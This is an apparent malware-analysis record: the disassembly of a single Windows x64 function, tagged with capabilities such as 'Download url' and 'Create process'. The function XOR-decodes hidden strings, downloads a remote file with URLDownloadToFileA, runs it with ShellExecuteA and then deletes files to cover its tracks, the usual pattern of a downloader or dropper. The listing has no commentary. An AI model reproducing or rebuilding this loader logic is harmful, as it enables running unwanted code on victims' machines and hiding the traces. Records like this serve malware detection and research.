Function at 0x140001000
Capabilities:
Create process on windows
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
movdqa xmm1, xmmword [0x140003310]
mov dil, 0x5b
movdqa xmm2, xmmword [0x1400032e0]
movzx r15d, dil
movdqa xmm3, xmmword [str.UZSQFeFUCeYU_Zej_P6]
movzx r13d, dil
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov r8b, 0x56
mov bl, 0x59
movdqa xmm1, xmmword [0x1400032b0]
xor r8b, r9b
xor byte [rbp - 0x47], r9b
xor bl, r9b
xor byte [rbp - 0x46], r9b
xor dil, r9b
xor byte [rbp - 0x45], r9b
xor r15b, r9b
xor byte [rbp - 0x44], r9b
xor r13b, r9b
xor byte [rbp - 0x43], r9b
mov cl, 0x62
xor byte [rbp - 0x42], r9b
xor cl, r9b
xor byte [rbp - 0x41], r9b
mov dl, 0x5d
xor byte [rbp - 0x40], r9b
xor dl, r9b
xor byte [rbp - 0x3f], r9b
mov r10b, 0x5f
xor byte [rbp - 0x3e], r9b
xor r10b, r9b
xor byte [rbp - 0x3d], r9b
mov r11b, 0x50
xor byte [rbp - 0x3c], r9b
xor r11b, r9b
xor byte [rbp - 0x3b], r9b
mov sil, 0x4c
xor byte [rbp - 0x3a], r9b
xor sil, r9b
psrldq xmm0, 1
mov r14b, 0x10
movd eax, xmm0
xor r14b, r9b
movdqa xmm0, xmm1
mov byte [rbp - 0x37], r8b
psrldq xmm0, 1
mov r12b, 0x46
xor al, r9b
movd r8d, xmm1
xor r12b, r9b
mov byte [rbp - 0x48], al
movd eax, xmm0
mov r9b, 0x55
mov byte [rbp - 0x34], bl
mov bl, 0x51
mov byte [rbp - 0x39], cl
mov cl, 0x57
mov byte [rbp - 0x38], dl
xor al, r8b
mov byte [rbp - 0x36], r10b
mov dl, 0x5c
mov byte [rbp - 0x35], r11b
mov r10b, 0x5a
mov byte [rbp - 0x33], dil
mov r11b, 0x53
mov byte [rbp - 0x32], sil
mov dil, 0x46
mov byte [rbp - 0x31], r14b
mov sil, 0x1a
mov byte [rbp - 0x30], r15b
movzx r14d, bl
mov byte [rbp - 0x2f], r12b
mov r15b, 0x4c
mov byte [rbp - 0x2e], r13b
movzx r12d, bl
mov byte [rbp - 0x2d], 0
movdqu xmmword [rbp - 9], xmm1
movdqu xmmword [rbp + 7], xmm2
movdqu xmmword [rbp + 0x17], xmm3
xor byte [rbp - 7], r8b
xor cl, r8b
xor byte [rbp - 6], r8b
xor dl, r8b
xor byte [rbp - 5], r8b
xor r9b, r8b
xor byte [rbp - 4], r8b
xor r10b, r8b
xor byte [rbp - 3], r8b
xor r11b, r8b
xor byte [rbp - 2], r8b
xor bl, r8b
xor byte [rbp - 1], r8b
xor dil, r8b
xor byte [rbp], r8b
xor sil, r8b
xor byte [rbp + 1], r8b
xor r14b, r8b
xor byte [rbp + 2], r8b
xor r15b, r8b
xor byte [rbp + 3], r8b
xor r12b, r8b
xor byte [rbp + 4], r8b
xor byte [rbp + 5], r8b
xor byte [rbp + 6], r8b
xor byte [rbp + 8], r8b
xor byte [rbp + 9], r8b
xor byte [rbp + 0xa], r8b
xor byte [rbp + 0xb], r8b
xor byte [rbp + 0xc], r8b
xor byte [rbp + 0xd], r8b
xor byte [rbp + 0xe], r8b
xor byte [rbp + 0xf], r8b
xor byte [rbp + 0x10], r8b
xor byte [rbp + 0x11], r8b
xor byte [rbp + 0x12], r8b
xor byte [rbp + 0x13], r8b
xor byte [rbp + 0x14], r8b
xor byte [rbp + 0x15], r8b
xor byte [rbp + 0x16], r8b
xor byte [rbp + 0x18], r8b
xor byte [rbp + 0x19], r8b
xor byte [rbp + 0x1a], r8b
xor byte [rbp + 0x1b], r8b
xor byte [rbp + 0x1c], r8b
xor byte [rbp + 0x1d], r8b
xor byte [rbp + 0x1e], r8b
xor byte [rbp + 0x1f], r8b
xor byte [rbp + 0x20], r8b
xor byte [rbp + 0x21], r8b
xor byte [rbp + 0x22], r8b
xor byte [rbp + 0x23], r8b
xor byte [rbp + 0x24], r8b
xor byte [rbp + 0x25], r8b
xor byte [rbp + 0x26], r8b
mov byte [rbp - 8], al
movd eax, xmm2
mov byte [rbp + 0x27], cl
xor ecx, ecx
mov byte [rbp + 0x28], dl
lea rdx, [rbp - 8]
xor al, r8b
mov byte [rbp + 0x29], r9b
mov byte [rbp + 7], al
xor r9d, r9d
movd eax, xmm3
mov byte [rbp + 0x2a], r10b
mov byte [rbp + 0x2b], r11b
xor al, r8b
mov byte [rbp + 0x2c], bl
lea r8, [rbp - 0x48]
mov byte [rbp + 0x17], al
mov byte [rbp + 0x2d], dil
mov byte [rbp + 0x2e], sil
mov byte [rbp + 0x2f], r14b
mov byte [rbp + 0x30], r15b
mov byte [rbp + 0x31], r12b
mov byte [rbp + 0x32], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001589
movdqa xmm1, xmmword [0x1400032f0]
mov dil, 0x6a
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov cl, 0x53
mov dl, 0x6c
xor cl, r9b
psrldq xmm0, 1
xor byte [rbp - 0x27], r9b
xor dl, r9b
xor byte [rbp - 0x26], r9b
mov r8b, 0x67
xor byte [rbp - 0x25], r9b
xor r8b, r9b
xor byte [rbp - 0x24], r9b
mov r10b, 0x6e
xor byte [rbp - 0x23], r9b
xor r10b, r9b
xor byte [rbp - 0x22], r9b
mov r11b, 0x61
xor byte [rbp - 0x21], r9b
xor r11b, r9b
xor byte [rbp - 0x20], r9b
movzx r15d, dil
xor byte [rbp - 0x1f], r9b
xor r15b, r9b
xor byte [rbp - 0x1e], r9b
movzx r13d, dil
xor byte [rbp - 0x1d], r9b
xor dil, r9b
xor byte [rbp - 0x1c], r9b
xor r13b, r9b
xor byte [rbp - 0x1b], r9b
mov bl, 0x68
xor byte [rbp - 0x1a], r9b
xor bl, r9b
mov byte [rbp - 0x19], cl
mov sil, 0x7d
mov byte [rbp - 0x18], dl
xor sil, r9b
mov byte [rbp - 0x17], r8b
mov cl, 0x7a
movd eax, xmm0
xor cl, 0xa
mov dl, 0x6f
mov byte [rbp + 0x69], cl
xor dl, 0xa
mov byte [rbp - 0x16], r10b
xor al, r9b
mov byte [rbp + 0x6a], dl
mov byte [rbp - 0x28], al
lea rdx, [rbp + 0x68]
mov al, 0x65
mov byte [rbp - 0x15], r11b
xor al, 0xa
mov byte [rbp - 0x14], bl
mov r8b, 0x64
mov byte [rbp + 0x68], al
xor r8b, 0xa
mov byte [rbp - 0x13], dil
xor eax, eax
mov byte [rbp + 0x6b], r8b
mov dword [rsp + 0x28], eax
lea r8, [rbp - 0x28]
mov r14b, 0x21
mov qword [rsp + 0x20], rax
xor r14b, r9b
mov byte [rbp - 0x12], sil
mov r12b, 0x77
mov byte [rbp - 0x11], r14b
xor r12b, r9b
mov byte [rbp - 0x10], r15b
xor r9d, r9d
mov byte [rbp - 0xf], r12b
xor ecx, ecx
mov byte [rbp - 0xe], r13b
mov byte [rbp - 0xd], 0
mov byte [rbp + 0x67], 0xa
mov byte [rbp + 0x6c], r9b
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp rax, 0x20
ja 0x14000149f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x1400032a0]
xor cl, cl
movd r9d, xmm1
mov dil, 0x39
movdqu xmmword [rbp - 0x29], xmm1
mov byte [rbp - 0xd], 0
mov dl, 0x3f
xor byte [rbp - 0x27], r9b
movdqa xmm0, xmm1
xor byte [rbp - 0x26], r9b
xor cl, r9b
xor byte [rbp - 0x25], r9b
mov r8b, 0x34
xor byte [rbp - 0x24], r9b
mov r10b, 0x3d
xor byte [rbp - 0x23], r9b
mov r11b, 0x32
xor byte [rbp - 0x22], r9b
movzx r15d, dil
xor byte [rbp - 0x21], r9b
movzx r13d, dil
xor byte [rbp - 0x20], r9b
xor dl, r9b
xor byte [rbp - 0x1f], r9b
xor r8b, r9b
xor byte [rbp - 0x1e], r9b
xor r10b, r9b
xor byte [rbp - 0x1d], r9b
xor r11b, r9b
xor byte [rbp - 0x1c], r9b
xor dil, r9b
xor byte [rbp - 0x1b], r9b
xor r15b, r9b
xor byte [rbp - 0x1a], r9b
xor r13b, r9b
psrldq xmm0, 1
mov bl, 0x3b
movd eax, xmm0
xor bl, r9b
mov byte [rbp - 0x19], cl
mov sil, 0x2e
xor sil, r9b
mov byte [rbp - 0x18], dl
xor al, r9b
mov byte [rbp - 0x17], r8b
mov r14b, 0x72
mov byte [rbp - 0x28], al
xor r14b, r9b
mov byte [rbp - 0x16], r10b
mov r12b, 0x24
mov byte [rbp - 0x15], r11b
xor r12b, r9b
mov byte [rbp - 0x14], bl
lea rcx, [rbp - 0x28]
mov byte [rbp - 0x13], dil
mov byte [rbp - 0x12], sil
mov byte [rbp - 0x11], r14b
mov byte [rbp - 0x10], r15b
mov byte [rbp - 0xf], r12b
mov byte [rbp - 0xe], r13b
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x1400032d0]
mov dil, 0xf
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov cl, 0x36
mov dl, 9
xor cl, r9b
psrldq xmm0, 1
xor byte [rbp - 0x27], r9b
mov r8b, 2
xor byte [rbp - 0x26], r9b
mov r10b, 0xb
xor byte [rbp - 0x25], r9b
mov r11b, 4
xor byte [rbp - 0x24], r9b
movzx r15d, dil
xor byte [rbp - 0x23], r9b
movzx r13d, dil
xor byte [rbp - 0x22], r9b
xor dl, r9b
xor byte [rbp - 0x21], r9b
xor r8b, r9b
xor byte [rbp - 0x20], r9b
xor r10b, r9b
xor byte [rbp - 0x1f], r9b
xor r11b, r9b
xor byte [rbp - 0x1e], r9b
xor dil, r9b
xor byte [rbp - 0x1d], r9b
xor r15b, r9b
xor byte [rbp - 0x1c], r9b
xor r13b, r9b
xor byte [rbp - 0x1b], r9b
mov bl, 0xd
xor byte [rbp - 0x1a], r9b
xor bl, r9b
movd eax, xmm0
mov sil, 0x18
mov byte [rbp - 0x19], cl
xor sil, r9b
mov r14b, 0x44
mov byte [rbp - 0x18], dl
xor al, r9b
mov byte [rbp - 0x17], r8b
xor r14b, r9b
mov byte [rbp - 0x28], al
mov r12b, 0x12
mov byte [rbp - 0x16], r10b
xor r12b, r9b
mov byte [rbp - 0x15], r11b
lea rcx, [rbp - 0x28]
mov byte [rbp - 0x14], bl
mov byte [rbp - 0x13], dil
mov byte [rbp - 0x12], sil
mov byte [rbp - 0x11], r14b
mov byte [rbp - 0x10], r15b
mov byte [rbp - 0xf], r12b
mov byte [rbp - 0xe], r13b
mov byte [rbp - 0xd], 0
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret